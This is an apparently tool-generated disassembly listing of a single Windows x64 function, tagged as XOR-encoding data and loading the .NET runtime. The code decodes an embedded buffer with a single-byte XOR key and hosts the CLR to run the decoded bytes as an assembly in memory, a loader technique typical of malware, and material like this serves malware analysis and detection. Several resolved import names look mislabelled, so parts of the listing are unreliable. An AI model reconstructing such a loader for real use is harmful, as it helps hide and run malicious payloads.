Function at 0x14000cb00
Capabilities:
Encode data using xor
Load windows common language runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xa8
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx]
xor r14d, r14d
mov edx, r14d
test rbx, rbx
je 0x14000cbad
cmp rbx, 0x40
jb 0x14000cb94
mov rcx, rbx
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [0x140001570]
lea rax, [rsi + 0x20]
movdqu xmm0, xmmword [rax - 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
movdqu xmm0, xmmword [rax - 0x10]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x10], xmm0
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
add rdx, 0x40
lea rax, [rax + 0x40]
cmp rdx, rcx
jb 0x14000cb44
cmp rdx, rbx
jae 0x14000cbad
lea rax, [rdx + rsi]
mov rcx, rbx
sub rcx, rdx
nop
xor byte [rax], 0xad
lea rax, [rax + 1]
sub rcx, 1
jne 0x14000cba0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x41]
lea rdx, [0x1400012d0]
lea rcx, [0x1400012e0]
call sub.mscoree.dll_CLRCreateInstance
mov qword [rbp - 0x51], r14
mov rcx, qword [rbp - 0x41]
mov rax, qword [rcx]
lea r9, [rbp - 0x51]
lea r8, [0x1400012f0]
lea rdx, [0x1400011e0]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x51]
mov rax, qword [rcx]
lea rdx, [rbp + 0x67]
call qword [rax + 0x50]
mov qword [rbp - 0x49], r14
mov rcx, qword [rbp - 0x51]
mov rax, qword [rcx]
lea r9, [rbp - 0x49]
lea r8, [0x1400012c0]
lea rdx, [0x1400012b0]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x49]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov qword [rbp - 0x59], r14
mov rcx, qword [rbp - 0x49]
mov rax, qword [rcx]
mov qword [rbp - 0x59], r14
lea rdx, [rbp - 0x59]
call qword [rax + 0x68]
mov qword [rbp + 0x7f], r14
mov rcx, qword [rbp - 0x59]
test rcx, rcx
je 0x14000cdee
mov rax, qword [rcx]
mov qword [rbp + 0x7f], r14
lea r8, [rbp + 0x7f]
lea rdx, [0x140001558]
call qword [rax]
mov qword [rbp + 0x6f], r14
mov dword [rbp - 0x39], ebx
mov dword [rbp - 0x35], r14d
mov ecx, 0x11
lea r8, [rbp - 0x39]
mov r15d, 1
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rdi, rax
mov qword [rbp - 0x31], r14
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov r8, rbx
mov rdx, rsi
mov rcx, qword [rbp - 0x31]
call fcn.14002c880
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rbx, qword [rbp + 0x7f]
test rbx, rbx
je 0x14000cde3
mov rax, qword [rbx]
mov rsi, qword [rax + 0x168]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000ccde
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rbp + 0x6f], r14
lea r8, [rbp + 0x6f]
mov rdx, rdi
mov rcx, rbx
call rsi
mov qword [rbp + 0x77], r14
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000cdf9
mov rax, qword [rcx]
mov qword [rbp + 0x77], r14
lea rdx, [rbp + 0x77]
call qword [rax + pe_nt_image_headers64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], rax
mov word [rbp - 0x29], r15w
mov ecx, SafeArrayDestroy
mov r8d, r15d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rbx, rax
lea rcx, [0x1400011f8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000cdf9
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x128]
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 7], xmm0
movsd xmm1, qword [rbp - 0x19]
movsd qword [rbp + 0x17], xmm1
lea r9, [rbp - 0x11]
mov r8, rbx
lea rdx, [rbp + 7]
call r10
nop
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000cda3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000cdb3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x7f]
test rcx, rcx
je 0x14000cdc3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x59]
test rcx, rcx
je 0x14000cdd3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
add rsp, 0xa8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.140011490
nop
mov ecx, 0x80004003
call fcn.140011490
nop
mov ecx, 0x80004003
call fcn.140011490
int3